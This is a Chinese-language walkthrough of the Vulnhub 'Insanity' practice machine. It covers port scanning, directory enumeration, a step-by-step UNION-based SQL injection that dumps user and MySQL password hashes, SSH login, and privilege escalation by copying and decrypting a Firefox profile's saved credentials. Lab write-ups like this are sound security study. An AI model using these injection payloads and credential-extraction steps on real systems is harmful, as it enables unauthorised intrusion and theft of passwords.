Vulnhub Insanity
0x01:端口扫描
主机发现
nmap -sn 10.10.10.0/24

全端口扫描
nmap --min-rate 10000 -p- 10.10.10.130

UDP扫描
nmap -sU --top=20 10.10.10.130

详细端口扫描
nmap -sT -sC -sV -O --min-rate 10000 -p21,22,80 10.10.10.130

漏洞扫描
nmap --script=vuln -p21,22,80 10.10.10.130

0x02:ftp渗透
因为刚才扫描出ftp可以匿名登录,我们尝试get数据下来

没有东西,放弃
0x03:web渗透
扫目录
dirsearch -u http://10.10.10.130
gobuster dir -u http://10.10.10.130 -x zip,rar,txt -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt


逐一查看,在/data下拿到版本为1.14.0

在/webmail/src/configtest.php下拿到squirrelMail的版本为1.4.22

找到4个登录框




又在/news/welcome下找到可能是用户名的字段

我们尝试爆破,发现只有webmail和monitoring可以爆破出来



看到SquirrelMail的版本为1.4.22

搜索漏洞


无奈漏洞已经修复
经过一番尝试后发现monitoring和SquirrelMail是互通的


在这里我们发现一个小细节,这段很像从mysql上拉下来的,我们测试一下sql注入

首先测试
" or 1=1#

发现可以注入且右包含为双引号
下一步查字段
" order by 4# 有报错
" order by 5# 无报错
字段数为4
下一步查询所有数据库名
leedoorbag" UNION SELECT 1,2,group_concat(schema_name),4 FROM information_schema.schemata#

下一步查表名
leedoorbag" UNION SELECT 1,2,group_concat(table_name),4 From information_schema.tables WHERE table_schema='monitoring'#

下一步我们查users表的全部列名
leedoorbag" UNION SELECT 1,2,group_concat(column_name),4 From information_schema.columns WHERE table_name='users' AND table_schema='monitoring'#

把数据拉取下来
leedoorbag" UNION SELECT 1,2,group_concat(id,0x7c,username,0x7c,password,0x7c,email),4 From monitoring.users#

1|admin|$2y$12$huPSQmbcMvgHDkWIMnk9t.1cLoBWue3dtHf9E5cKUNcfKTOOp8cma|admin@insanityhosting.vm
2|nicholas|$2y$12$4R6JiYMbJ7NKnuQEoQW4ruIcuRJtDRukH.Tvx52RkUfx5eloIw7Qe|nicholas@insanityhosting.vm
3|otis|$2y$12$./XCeHl0/TCPW5zN/E9w0ecUUKbDomwjQ0yZqGz5tgASgZg6SIHFW|otis@insanityhosting.vm

但是只爆破得出来一个,而且登上去就退出了

我们继续寻找,最后在mysql.user里找到了最终凭证

root|*CDA244FF510B063DA17DFF84FF39BA0849F7920F
elliot|*5A5749F309CAC33B27BA94EE02168FA3C3E7A3E9

成功登录ssh
0x04:权限提升
尝试了很久没有做出来,看了wp发现是火狐缓存提权,属于是边学边做了

如果在此系统上使用了 Firefox,并且输入的任何用户凭据都会保存在浏览器中,我们可以查询这四个文件以查看
cert9.db、cookies.sqlite、key4.db 、logins.json
find . -type f -name "logins.json" -o -name "cerrt9.db" -o -name "cookies.sqlite" -o -name "key4.db"

我们现在可以使用Firefox_Decrypt工具获得密码
我们先把他拉取下来到本机
scp -r elliot@10.10.10.130:/home/elliot/.mozilla/firefox/esmhp32w.default-default/ ./firefox
然后破解
python 123.py firefox


0x05:总结反思
1.当时web做了很久都没有搞出来,没想到注入点在哪里,后面挨个试出来的,积累2次注入经验了
2.火狐缓存提权确实没见过,这次是长见识了
3.非预期解是pwnkit提权,需要python2版本的脚本


浙公网安备 33010602011771号